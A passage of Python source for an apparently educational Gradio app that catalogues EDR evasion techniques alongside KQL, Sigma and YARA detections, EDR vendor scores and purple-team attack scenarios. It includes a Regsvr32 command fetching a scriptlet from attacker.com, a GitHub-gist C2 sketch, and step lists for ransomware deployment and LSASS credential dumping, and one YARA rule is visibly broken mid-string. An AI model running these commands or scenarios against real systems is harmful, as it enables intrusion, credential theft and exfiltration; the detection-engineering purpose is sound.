commande.", }, "sysmon": "1, 7, 3", "kql": ( 'DeviceProcessEvents\n| where FileName == "InstallUtil.exe"\n' '| where ProcessCommandLine contains "/U"\n| project Timestamp, DeviceName, ProcessCommandLine' ), "sigma": ( "title: InstallUtil Abuse\nstatus: stable\n" "logsource:\n product: windows\n category: process_creation\n" "detection:\n selection:\n Image|endswith: '\\\\InstallUtil.exe'\n" " CommandLine|contains: '/U'\n condition: selection\nlevel: high" ), "yara": ( "rule InstallUtil_Abuse {\n strings:\n" ' $a = "RunInstallerAttribute" ascii\n $b = "Uninstall" ascii\n' ' $c = "System.Configuration.Install" ascii\n' " condition:\n all of them\n}" ), "edr_config": { "en": "Block InstallUtil on standard endpoints, WDAC policies, monitor .NET assembly loading.", "fr": "Bloquer InstallUtil sur les postes standards, politiques WDAC, surveiller les chargements .NET.", }, }, { "id": "regsvr32", "category": "Living off the Land", "name": {"en": "Regsvr32 (Squiblydoo)", "fr": "Regsvr32 (Squiblydoo)"}, "difficulty": "Easy", "mitre": "T1218.010 - System Binary Proxy Execution: Regsvr32", "desc": { "en": "Uses regsvr32.exe to load remote SCT (scriptlet) files containing JScript/VBScript payloads.", "fr": "Utilise regsvr32.exe pour charger des fichiers SCT distants contenant des payloads JScript/VBScript.", }, "pseudocode": ( "# Educational pseudocode\n" "regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll\n" "# payload.sct contains JScript/VBScript code\n" "# Executes in memory without touching disk" ), "detection": { "en": "Monitor regsvr32.exe with /i: flag pointing to URLs, network connections from regsvr32.", "fr": "Surveiller regsvr32.exe avec /i: pointant vers des URLs, connexions r\u00e9seau depuis regsvr32.", }, "countermeasure": { "en": "Block outbound connections from regsvr32, application control, script execution restrictions.", "fr": "Bloquer les connexions sortantes de regsvr32, contr\u00f4le d\u2019applications, restrictions de scripts.", }, "sysmon": "1, 3, 7", "kql": ( 'DeviceProcessEvents\n| where FileName == "regsvr32.exe"\n' '| where ProcessCommandLine contains "/i:http"\n| project Timestamp, DeviceName, ProcessCommandLine' ), "sigma": ( "title: Regsvr32 Squiblydoo\nstatus: stable\n" "logsource:\n product: windows\n category: process_creation\n" "detection:\n selection:\n Image|endswith: '\\\\regsvr32.exe'\n" " CommandLine|contains: '/i:http'\n condition: selection\nlevel: critical" ), "yara": ( 'rule Squiblydoo_SCT {\n strings:\n $a = "scriptlet" ascii nocase\n' ' $b = "registration" ascii nocase\n $c = " 50\n| project Timestamp, DeviceName, RemoteUrl" ), "sigma": ( "title: DNS Tunneling Detection\nstatus: experimental\n" "logsource:\n product: dns\n category: dns\n" "detection:\n selection:\n query|re: '.{50,}\\..*'\n" " condition: selection\nlevel: high" ), "yara": ( "rule DNS_Tunneling {\n strings:\n" ' $a = "iodine" ascii\n $b = "dnscat" ascii\n' ' $c = "dns2tcp" ascii\n' " condition:\n any of them\n}" ), "edr_config": { "en": "Enable DNS logging, deploy DNS analytics, restrict to internal resolvers, block DoH/DoT to external.", "fr": "Activer la journalisation DNS, d\u00e9ployer l\u2019analyse DNS, restreindre aux r\u00e9solveurs internes.", }, }, { "id": "c2-legitimate", "category": "Network Evasion", "name": {"en": "C2 over Legitimate Services", "fr": "C2 via Services L\u00e9gitimes"}, "difficulty": "Hard", "mitre": "T1102 - Web Service", "desc": { "en": "Uses legitimate cloud services (Slack, Teams, OneDrive, GitHub) as C2 channels to blend with normal traffic.", "fr": "Utilise des services cloud l\u00e9gitimes (Slack, Teams, OneDrive, GitHub) comme canaux C2 pour se fondre dans le trafic normal.", }, "pseudocode": ( "# Educational pseudocode\n" "# Using GitHub Gist as C2 channel\n" "commands = github_api.get_gist(gist_id)\n" "result = execute(commands)\n" "github_api.update_gist(gist_id, result)" ), "detection": { "en": "Anomalous API usage patterns, unusual data volumes to cloud services, beacon timing analysis.", "fr": "Sch\u00e9mas d\u2019utilisation API anormaux, volumes de donn\u00e9es inhabituels vers les services cloud.", }, "countermeasure": { "en": "Cloud access security broker (CASB), API monitoring, behavioral analytics for cloud service usage.", "fr": "Courtier de s\u00e9curit\u00e9 d\u2019acc\u00e8s cloud (CASB), surveillance API, analytique comportementale.", }, "sysmon": "3, 22", "kql": ( "DeviceNetworkEvents\n| where RemoteUrl has_any ('github.com','slack.com','graph.microsoft.com')\n" "| summarize count() by DeviceName, RemoteUrl, bin(Timestamp, 1h)\n" "| where count_ > 100" ), "sigma": ( "title: C2 over Legitimate Service\nstatus: experimental\n" "logsource:\n product: proxy\n category: proxy\n" "detection:\n selection:\n c-uri-host|endswith:\n" " - 'api.github.com'\n - 'slack.com'\n" " condition: selection\nlevel: low" ), "yara": ( "rule C2_Legitimate_Service {\n strings:\n" ' $a = "api.github.com" ascii\n $b = "hooks.slack.com" ascii\n' ' $c = "graph.microsoft.com" ascii\n' " condition:\n any of them\n}" ), "edr_config": { "en": "Deploy CASB, configure API usage monitoring, implement behavioral analytics, restrict service access.", "fr": "D\u00e9ployer un CASB, configurer la surveillance API, impl\u00e9menter l\u2019analytique comportementale.", }, }, ] # --------------------------------------------------------------------------- # Categories & helpers # --------------------------------------------------------------------------- CATEGORIES = sorted(set(tech["category"] for tech in TECHNIQUES)) def get_technique_names(lang): return [tech["name"][lang] for tech in TECHNIQUES] def get_technique_by_name(name, lang): for tech in TECHNIQUES: if tech["name"][lang] == name: return tech return None def filter_techniques(category, difficulty, lang): results = TECHNIQUES if category and category != t("all", lang): results = [tech for tech in results if tech["category"] == category] if difficulty and difficulty != t("all", lang): diff_map = {v: k for k, v in DIFF_FR.items()} diff_en = diff_map.get(difficulty, difficulty) results = [tech for tech in results if tech["difficulty"] == diff_en] names = [tech["name"][lang] for tech in results] return names # --------------------------------------------------------------------------- # EDR Comparison data # --------------------------------------------------------------------------- EDR_SOLUTIONS = [ {"name": "CrowdStrike Falcon", "prevention": 9.5, "detection": 9.5, "response": 9, "threat_hunting": 9.5, "mdr": 9}, {"name": "SentinelOne Singularity", "prevention": 9, "detection": 9, "response": 9.5, "threat_hunting": 8.5, "mdr": 8.5}, {"name": "Microsoft Defender XDR", "prevention": 8.5, "detection": 9, "response": 8.5, "threat_hunting": 9, "mdr": 8}, {"name": "Palo Alto Cortex XDR", "prevention": 9, "detection": 9, "response": 8.5, "threat_hunting": 8.5, "mdr": 8}, {"name": "VMware Carbon Black", "prevention": 8, "detection": 8.5, "response": 8, "threat_hunting": 8.5, "mdr": 7.5}, {"name": "Elastic Security", "prevention": 8, "detection": 8.5, "response": 8, "threat_hunting": 9, "mdr": 7}, {"name": "Cybereason", "prevention": 8.5, "detection": 8.5, "response": 8, "threat_hunting": 8, "mdr": 8.5}, {"name": "Sophos Intercept X", "prevention": 8.5, "detection": 8, "response": 7.5, "threat_hunting": 7.5, "mdr": 8.5}, {"name": "Trellix XDR", "prevention": 8, "detection": 8, "response": 7.5, "threat_hunting": 8, "mdr": 7.5}, {"name": "FortiEDR", "prevention": 8, "detection": 7.5, "response": 8, "threat_hunting": 7, "mdr": 7}, {"name": "ESET PROTECT", "prevention": 8, "detection": 7.5, "response": 7, "threat_hunting": 7, "mdr": 7}, {"name": "Kaspersky EDR", "prevention": 8.5, "detection": 8, "response": 7.5, "threat_hunting": 7.5, "mdr": 7.5}, ] CAPABILITIES = ["prevention", "detection", "response", "threat_hunting", "mdr"] CAP_LABELS = { "en": {"prevention": "Prevention", "detection": "Detection", "response": "Response", "threat_hunting": "Threat Hunting", "mdr": "MDR"}, "fr": {"prevention": "Pr\u00e9vention", "detection": "D\u00e9tection", "response": "R\u00e9ponse", "threat_hunting": "Chasse aux menaces", "mdr": "MDR"}, } def build_radar_chart(selected_edrs, lang): fig = go.Figure() labels = [CAP_LABELS[lang][c] for c in CAPABILITIES] for edr in EDR_SOLUTIONS: if edr["name"] in selected_edrs: values = [edr[c] for c in CAPABILITIES] values.append(values[0]) # close the polygon fig.add_trace(go.Scatterpolar( r=values, theta=labels + [labels[0]], fill="toself", name=edr["name"], )) fig.update_layout( polar=dict(radialaxis=dict(visible=True, range=[0, 10])), showlegend=True, title=t("tab_comparison", lang), template="plotly_dark", height=550, ) return fig # --------------------------------------------------------------------------- # Attack Simulation Scenarios # --------------------------------------------------------------------------- SCENARIOS = { "Ransomware Deployment": { "name": {"en": "Ransomware Deployment", "fr": "D\u00e9ploiement de Ransomware"}, "techniques": ["AMSI Bypass", "NTDLL Unhooking", "Shellcode Injection", "Certutil Download"], "gaps": { "en": [ "Memory-only payload execution without disk write", "Credential harvesting before encryption", "Volume Shadow Copy deletion detection", "Lateral movement via SMB/WMI", ], "fr": [ "Ex\u00e9cution de payload en m\u00e9moire sans \u00e9criture disque", "R\u00e9colte de credentials avant chiffrement", "D\u00e9tection de suppression de Volume Shadow Copy", "Mouvement lat\u00e9ral via SMB/WMI", ], }, "purple_team": { "en": [ "1. Initial access via phishing with macro-enabled document", "2. AMSI bypass to run PowerShell loader", "3. Unhook ntdll to avoid API monitoring", "4. Inject shellcode into legitimate process", "5. Enumerate network shares and domain controllers", "6. Deploy ransomware binary via PsExec/WMI", "7. Delete shadow copies and encrypt files", ], "fr": [ "1. Acc\u00e8s initial via hame\u00e7onnage avec document macro", "2. Contournement AMSI pour charger PowerShell", "3. D\u00e9crochage ntdll pour \u00e9viter la surveillance API", "4. Injection de shellcode dans un processus l\u00e9gitime", "5. \u00c9num\u00e9ration des partages r\u00e9seau et contr\u00f4leurs de domaine", "6. D\u00e9ploiement du binaire ransomware via PsExec/WMI", "7. Suppression des clich\u00e9s instantan\u00e9s et chiffrement", ], }, "alerts": { "en": [ "AMSI tampering detected", "Suspicious process injection (Sysmon ID 8/10)", "Mass file modification detected", "Shadow copy deletion (vssadmin/wmic)", "Lateral movement via PsExec", ], "fr": [ "Falsification AMSI d\u00e9tect\u00e9e", "Injection de processus suspecte (Sysmon ID 8/10)", "Modification massive de fichiers d\u00e9tect\u00e9e", "Suppression de clich\u00e9s instantan\u00e9s (vssadmin/wmic)", "Mouvement lat\u00e9ral via PsExec", ], }, }, "Credential Theft": { "name": {"en": "Credential Theft", "fr": "Vol de Credentials"}, "techniques": ["AMSI Bypass", "SysWhispers", "PPL Bypass", "Module Stomping"], "gaps": { "en": [ "LSASS memory access via direct syscalls", "Credential dumping from SAM/SECURITY hives", "Kerberoasting detection", "DCSync attack detection", ], "fr": [ "Acc\u00e8s m\u00e9moire LSASS via syscalls directs", "Extraction de credentials depuis SAM/SECURITY", "D\u00e9tection de Kerberoasting", "D\u00e9tection d\u2019attaque DCSync", ], }, "purple_team": { "en": [ "1. Bypass AMSI for PowerShell execution", "2. Use SysWhispers to call NtOpenProcess on LSASS", "3. Bypass PPL protection on LSASS if enabled", "4. Dump credentials from LSASS memory", "5. Extract hashes from SAM database", "6. Perform Kerberoasting for service accounts", ], "fr": [ "1. Contourner AMSI pour PowerShell", "2. Utiliser SysWhispers pour NtOpenProcess sur LSASS", "3. Contourner la protection PPL de LSASS si activ\u00e9e", "4. Extraire les credentials de la m\u00e9moire LSASS", "5. Extraire les hachages de la base SAM", "6. R\u00e9aliser du Kerberoasting pour les comptes de service", ], }, "alerts": { "en": [ "LSASS access from non-system process", "Suspicious Kerberos ticket requests", "SAM database access detected", "Direct syscall from non-ntdll region", ], "fr": [ "Acc\u00e8s LSASS depuis un processus non syst\u00e8me", "Requ\u00eates Kerberos suspectes", "Acc\u00e8s \u00e0 la base SAM d\u00e9tect\u00e9", "Syscall direct depuis une r\u00e9gion non ntdll", ], }, }, "Lateral Movement": { "name": {"en": "Lateral Movement", "fr": "Mouvement Lat\u00e9ral"}, "techniques": ["NTDLL Unhooking", "Shellcode Injection", "BITSAdmin Transfer", "ETW Patching"], "gaps": { "en": [ "WMI-based lateral movement", "SMB relay attacks", "Pass-the-Hash/Ticket detection", "DCOM-based execution", ], "fr": [ "Mouvement lat\u00e9ral via WMI", "Attaques de relais SMB", "D\u00e9tection Pass-the-Hash/Ticket", "Ex\u00e9cution via DCOM", ], }, "purple_team": { "en": [ "1. Patch ETW to blind telemetry", "2. Unhook ntdll to bypass API monitoring", "3. Use stolen credentials for WMI execution", "4. Deploy payload via BITS transfer", "5. Inject into remote process for persistence", "6. Repeat across multiple hosts", ], "fr": [ "1. Modifier ETW pour aveugler la t\u00e9l\u00e9m\u00e9trie", "2. D\u00e9crocher ntdll pour contourner la surveillance API", "3. Utiliser des credentials vol\u00e9s pour WMI", "4. D\u00e9ployer le payload via transfert BITS", "5. Injecter dans un processus distant pour la persistance", "6. R\u00e9p\u00e9ter sur plusieurs h\u00f4tes", ], }, "alerts": { "en": [ "WMI remote execution detected", "Unusual SMB authentication patterns", "BITS job creation from command line", "ETW provider modification", ], "fr": [ "Ex\u00e9cution WMI distante d\u00e9tect\u00e9e", "Sch\u00e9mas d\u2019authentification SMB inhabituels", "Cr\u00e9ation de t\u00e2che BITS depuis la ligne de commande", "Modification du fournisseur ETW", ], }, }, "Data Exfiltration": { "name": {"en": "Data Exfiltration", "fr": "Exfiltration de Donn\u00e9es"}, "techniques": ["DNS Tunneling", "Domain Fronting", "C2 over Legitimate Services", "BITSAdmin Transfer"], "gaps": { "en": [ "DNS tunneling with low-and-slow exfiltration", "Data staging in cloud services", "Encrypted channel detection", "Steganography-based exfiltration", ], "fr": [ "Tunnel DNS avec exfiltration lente", "Stockage temporaire dans les services cloud", "D\u00e9tection de canaux chiffr\u00e9s", "Exfiltration par st\u00e9ganographie", ], }, "purple_team": { "en": [ "1. Stage data in temp directory", "2. Compress and encrypt data", "3. Exfiltrate via DNS tunneling (small payloads)", "4. Use domain fronting for larger transfers", "5. Leverage legitimate cloud storage APIs", "6. Clean up staging artifacts", ], "fr": [ "1. Stocker les donn\u00e9es dans un r\u00e9pertoire temporaire", "2. Compresser et chiffrer les donn\u00e9es", "3. Exfiltrer via tunnel DNS (petits payloads)", "4. Utiliser le domain fronting pour les gros transferts", "5. Exploiter les API de stockage cloud l\u00e9gitimes", "6. Nettoyer les artefacts temporaires", ], }, "alerts": { "en": [ "High DNS query volume to single domain", "Large data transfer to cloud storage", "TLS SNI/Host header mismatch", "Unusual data compression activity", ], "fr": [ "Volume \u00e9lev\u00e9 de requ\u00eates DNS vers un seul domaine", "Transfert de donn\u00e9es volumineux vers le stockage cloud", "Incoh\u00e9rence SNI/Host TLS", "Activit\u00e9 de compression de donn\u00e9es inhabituelle", ], }, }, "Persistence Establishment": { "name": {"en": "Persistence Establishment", "fr": "\u00c9tablissement de Persistance"}, "techniques": ["MSBuild Execution", "CMSTP Bypass", "Regsvr32 (Squiblydoo)", "Module Stomping"], "gaps": { "en": [ "Registry-based persistence detection", "Scheduled task abuse", "WMI event subscription persistence", "DLL search order hijacking", ], "fr": [ "D\u00e9tection de persistance par registre", "Abus de t\u00e2ches planifi\u00e9es", "Persistance par abonnement d\u2019\u00e9v\u00e9nements WMI", "D\u00e9tournement de l\u2019ordre de recherche DLL", ], }, "purple_team": { "en": [ "1. Use MSBuild to compile and execute initial payload", "2. Establish WMI event subscription for persistence", "3. Create scheduled task with obfuscated command", "4. Use CMSTP for UAC bypass if needed", "5. Stomp legitimate module for stealth", "6. Verify persistence across reboots", ], "fr": [ "1. Utiliser MSBuild pour compiler et ex\u00e9cuter le payload initial", "2. \u00c9tablir un abonnement WMI pour la persistance", "3. Cr\u00e9er une t\u00e2che planifi\u00e9e avec commande obscurcie", "4. Utiliser CMSTP pour contourner l\u2019UAC si n\u00e9cessaire", "5. \u00c9craser un module l\u00e9gitime pour la furtivit\u00e9", "6. V\u00e9rifier la persistance apr\u00e8s red\u00e9marrage", ], }, "alerts": { "en": [ "MSBuild execution outside development context", "WMI event subscription creation", "Suspicious scheduled task registration", "CMSTP execution with INF file", ], "fr": [ "Ex\u00e9cution MSBuild hors contexte de d\u00e9veloppement", "Cr\u00e9ation d\u2019abonnement WMI", "Enregistrement de t\u00e2che planifi\u00e9e suspecte", "Ex\u00e9cution CMSTP avec fichier INF", ], }, }, } SCENARIO_KEYS = list(SCENARIOS.keys()) # --------------------------------------------------------------------------- # UI builder functions # --------------------------------------------------------------------------- def build_technique_detail(name, lang): """Return formatted markdown for a technique.""" tech = get_technique_by_name(name, lang) if not tech: return "Select a technique." badge = diff_badge(tech["difficulty"], lang) desc = tech["desc"][lang] mitre = tech["mitre"] pseudo = tech["pseudocode"] detect = tech["detection"][lang] counter = tech["countermeasure"][lang] cat = tech["category"] desc_label = t("description", lang) mitre_label = t("mitre", lang) pseudo_label = t("pseudocode", lang) detect_label = t("detection", lang) counter_label = t("countermeasure", lang) cat_label = t("category", lang) md = f"## {tech['name'][lang]} {badge}\n\n" md += f"**{cat_label}:** {cat}\n\n" md += f"**{mitre_label}:** `{mitre}`\n\n" md += f"### {desc_label}\n{desc}\n\n" md += f"### {pseudo_label}\n```\n{pseudo}\n```\n\n" md += f"### {detect_label}\n{detect}\n\n" md += f"### {counter_label}\n{counter}\n" return md def build_detection_detail(name, lang): """Return formatted markdown for detection engineering.""" tech = get_technique_by_name(name, lang) if not tech: return "Select a technique." sysmon_label = t("sysmon_ids", lang) kql_label = t("kql_query", lang) sigma_label = t("sigma_rule", lang) yara_label = t("yara_rule", lang) edr_label = t("edr_config", lang) md = f"## {tech['name'][lang]} - {t('tab_detection', lang)}\n\n" md += f"### {sysmon_label}\n`{tech['sysmon']}`\n\n" md += f"### {kql_label}\n```kql\n{tech['kql']}\n```\n\n" md += f"### {sigma_label}\n```yaml\n{tech['sigma']}\n```\n\n" md += f"### {yara_label}\n```yara\n{tech['yara']}\n```\n\n" md += f"### {edr_label}\n{tech['edr_config'][lang]}\n" return md def build_scenario_detail(scenario_key, lang): """Return formatted markdown for an attack scenario.""" sc = SCENARIOS.get(scenario_key) if not sc: return "Select a scenario." name = sc["name"][lang] techniques_str = ", ".join(sc["techniques"]) gaps = "\n".join(f"- {g}" for g in sc["gaps"][lang]) steps = "\n".join(sc["purple_team"][lang]) alerts = "\n".join(f"- {a}" for a in sc["alerts"][lang]) ev_label = t("evasion_needed", lang) gap_label = t("detection_gaps", lang) pt_label = t("purple_team", lang) alert_label = t("expected_alerts", lang) md = f"## {name}\n\n" md += f"### {ev_label}\n{techniques_str}\n\n" md += f"### {gap_label}\n{gaps}\n\n" md += f"### {pt_label}\n{steps}\n\n" md += f"### {alert_label}\n{alerts}\n" return md def build_resources_md(lang): if lang == "fr": return """## Ressources ### Articles AYI-NEDJIMI Consultants - [Guide complet : \u00c9vasion EDR/XDR](https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html) Analyse approfondie des techniques d\u2019\u00e9vasion et des contre-mesures. - [Top 10 Solutions EDR/XDR 2025](https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html) Comparatif d\u00e9taill\u00e9 des meilleures solutions de protection endpoint. - [Site principal AYI-NEDJIMI Consultants](https://ayinedjimi-consultants.fr) Cabinet de conseil en cybers\u00e9curit\u00e9 sp\u00e9cialis\u00e9 en tests d\u2019intrusion et Red Team. ### R\u00e9f\u00e9rences externes - [MITRE ATT&CK Framework](https://attack.mitre.org/) - Base de connaissances des tactiques et techniques adverses - [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) - R\u00e8gles de d\u00e9tection g\u00e9n\u00e9riques - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Tests atomiques pour chaque technique ATT&CK - [LOLBAS Project](https://lolbas-project.github.io/) - Binaires Living off the Land - [Elastic Detection Rules](https://github.com/elastic/detection-rules) - R\u00e8gles de d\u00e9tection Elastic - [KQL Reference](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/) - Documentation KQL Microsoft ### Avertissement Ce contenu est strictement \u00e9ducatif. Toute utilisation de ces techniques sans autorisation explicite est ill\u00e9gale. Consultez toujours le cadre l\u00e9gal applicable avant tout test de s\u00e9curit\u00e9. """ else: return """## Resources ### AYI-NEDJIMI Consultants Articles - [Complete Guide: EDR/XDR Evasion](https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html) In-depth analysis of evasion techniques and countermeasures. - [Top 10 EDR/XDR Solutions 2025](https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html) Detailed comparison of the best endpoint protection solutions. - [AYI-NEDJIMI Consultants Main Site](https://ayinedjimi-consultants.fr) Cybersecurity consulting firm specializing in penetration testing and Red Team operations. ### External References - [MITRE ATT&CK Framework](https://attack.mitre.org/) - Knowledge base of adversary tactics and techniques - [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) - Generic detection rules - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Atomic tests for each ATT&CK technique - [LOLBAS Project](https://lolbas-project.github.io/) - Living off the Land Binaries - [Elastic Detection Rules](https://github.com/elastic/detection-rules) - Elastic detection rules - [KQL Reference](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/) - Microsoft KQL documentation ### Disclaimer This content is strictly educational. Any use of these techniques without explicit authorization is illegal. Always consult the applicable legal framework before any security testing. """ # --------------------------------------------------------------------------- # Gradio application # --------------------------------------------------------------------------- FOOTER_HTML = """

Powered by AYI-NEDJIMI Consultants | EDR/XDR Evasion Guide | Top 10 EDR/XDR 2025

""" CSS = """ .gradio-container { max-width: 1200px !important; } .disclaimer-box { background: linear-gradient(135deg, #1a1a2e, #16213e); border: 1px solid #e74c3c; border-radius: 10px; padding: 15px; margin: 10px 0; text-align: center; color: #f0f0f0; } """ def create_app(): with gr.Blocks(css=CSS, title="EDR Evasion Explorer", theme=gr.themes.Base()) as app: lang_state = gr.State("en") # Header gr.HTML( '

' "EDR/XDR Evasion Technique Explorer

" ) gr.HTML( '
' "This content is strictly educational and intended for cybersecurity " "professionals to improve defenses. | " "Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels " "de la cybers\u00e9curit\u00e9." "
" ) with gr.Row(): lang_toggle = gr.Radio( choices=["EN", "FR"], value="EN", label="Language / Langue", ) # --------------------------------------------------------------- # Tab 1: Technique Browser # --------------------------------------------------------------- with gr.Tab("Technique Browser"): with gr.Row(): cat_filter = gr.Dropdown( choices=["All"] + CATEGORIES, value="All", label="Category", ) diff_filter = gr.Dropdown( choices=["All", "Easy", "Medium", "Hard", "Expert"], value="All", label="Difficulty", ) technique_list = gr.Dropdown( choices=get_technique_names("en"), label="Select a technique", ) technique_detail = gr.Markdown("") def on_filter_change(cat, diff, lang): lang_code = "fr" if lang == "FR" else "en" all_label = t("all", lang_code) if cat == "All" or cat == "Toutes": cat = all_label if diff == "All" or diff == "Toutes": diff = all_label names = filter_techniques(cat, diff, lang_code) first_label = t("select_technique", lang_code) return gr.Dropdown(choices=names, label=first_label, value=None) cat_filter.change( on_filter_change, inputs=[cat_filter, diff_filter, lang_toggle], outputs=[technique_list], ) diff_filter.change( on_filter_change, inputs=[cat_filter, diff_filter, lang_toggle], outputs=[technique_list], ) def on_technique_select(name, lang): lang_code = "fr" if lang == "FR" else "en" if not name: return "" return build_technique_detail(name, lang_code) technique_list.change( on_technique_select, inputs=[technique_list, lang_toggle], outputs=[technique_detail], ) # --------------------------------------------------------------- # Tab 2: Detection Engineering # --------------------------------------------------------------- with gr.Tab("Detection Engineering"): detect_technique_list = gr.Dropdown( choices=get_technique_names("en"), label="Select a technique for detection rules", ) detection_detail = gr.Markdown("") def on_detect_select(name, lang): lang_code = "fr" if lang == "FR" else "en" if not name: return "" return build_detection_detail(name, lang_code) detect_technique_list.change( on_detect_select, inputs=[detect_technique_list, lang_toggle], outputs=[detection_detail], ) # --------------------------------------------------------------- # Tab 3: EDR Comparison # --------------------------------------------------------------- with gr.Tab("EDR Comparison"): edr_names = [e["name"] for e in EDR_SOLUTIONS] edr_selector = gr.CheckboxGroup( choices=edr_names, value=edr_names[:4], label="Select EDR/XDR Solutions to Compare", ) radar_plot = gr.Plot(label="EDR Capabilities Radar") edr_table = gr.Dataframe( headers=["Solution", "Prevention", "Detection", "Response", "Threat Hunting", "MDR"], value=[[e["name"], e["prevention"], e["detection"], e["response"], e["threat_hunting"], e["mdr"]] for e in EDR_SOLUTIONS], label="EDR/XDR Comparison Table", ) def on_edr_change(selected, lang): lang_code = "fr" if lang == "FR" else "en" if not selected: selected = edr_names[:4] return build_radar_chart(selected, lang_code) edr_selector.change( on_edr_change, inputs=[edr_selector, lang_toggle], outputs=[radar_plot], ) # Initial chart app.load( on_edr_change, inputs=[edr_selector, lang_toggle], outputs=[radar_plot], ) # --------------------------------------------------------------- # Tab 4: Attack Simulation Planner # --------------------------------------------------------------- with gr.Tab("Attack Simulation Planner"): scenario_selector = gr.Dropdown( choices=SCENARIO_KEYS, label="Select an attack scenario", ) scenario_detail = gr.Markdown("") def on_scenario_select(scenario, lang): lang_code = "fr" if lang == "FR" else "en" if not scenario: return "" return build_scenario_detail(scenario, lang_code) scenario_selector.change( on_scenario_select, inputs=[scenario_selector, lang_toggle], outputs=[scenario_detail], ) # --------------------------------------------------------------- # Tab 5: Resources # --------------------------------------------------------------- with gr.Tab("Resources"): resources_md = gr.Markdown(build_resources_md("en")) # --------------------------------------------------------------- # Language toggle handler # --------------------------------------------------------------- def on_lang_change(lang_choice): lang_code = "fr" if lang_choice == "FR" else "en" all_label = t("all", lang_code) names = get_technique_names(lang_code) cat_choices = [all_label] + CATEGORIES diff_choices_list = [all_label] + [diff_label(d, lang_code) for d in ["Easy", "Medium", "Hard", "Expert"]] cat_lbl = t("category", lang_code) diff_lbl = t("difficulty", lang_code) sel_lbl = t("select_technique", lang_code) scn_lbl = t("select_scenario", lang_code) scenario_choices = [SCENARIOS[k]["name"][lang_code] for k in SCENARIO_KEYS] return [ lang_choice, gr.Dropdown(choices=cat_choices, value=all_label, label=cat_lbl), gr.Dropdown(choices=diff_choices_list, value=all_label, label=diff_lbl), gr.Dropdown(choices=names, label=sel_lbl, value=None), "", gr.Dropdown(choices=names, label=sel_lbl, value=None), "", gr.Dropdown(choices=SCENARIO_KEYS, label=scn_lbl, value=None), "", build_resources_md(lang_code), ] lang_toggle.change( on_lang_change, inputs=[lang_toggle], outputs=[ lang_state, cat_filter, diff_filter, technique_list, technique_detail, detect_technique_list, detection_detail, scenario_selector, scenario_detail, resources_md, ], ) # Footer gr.HTML(FOOTER_HTML) return app if __name__ == "__main__": demo = create_app() demo.launch()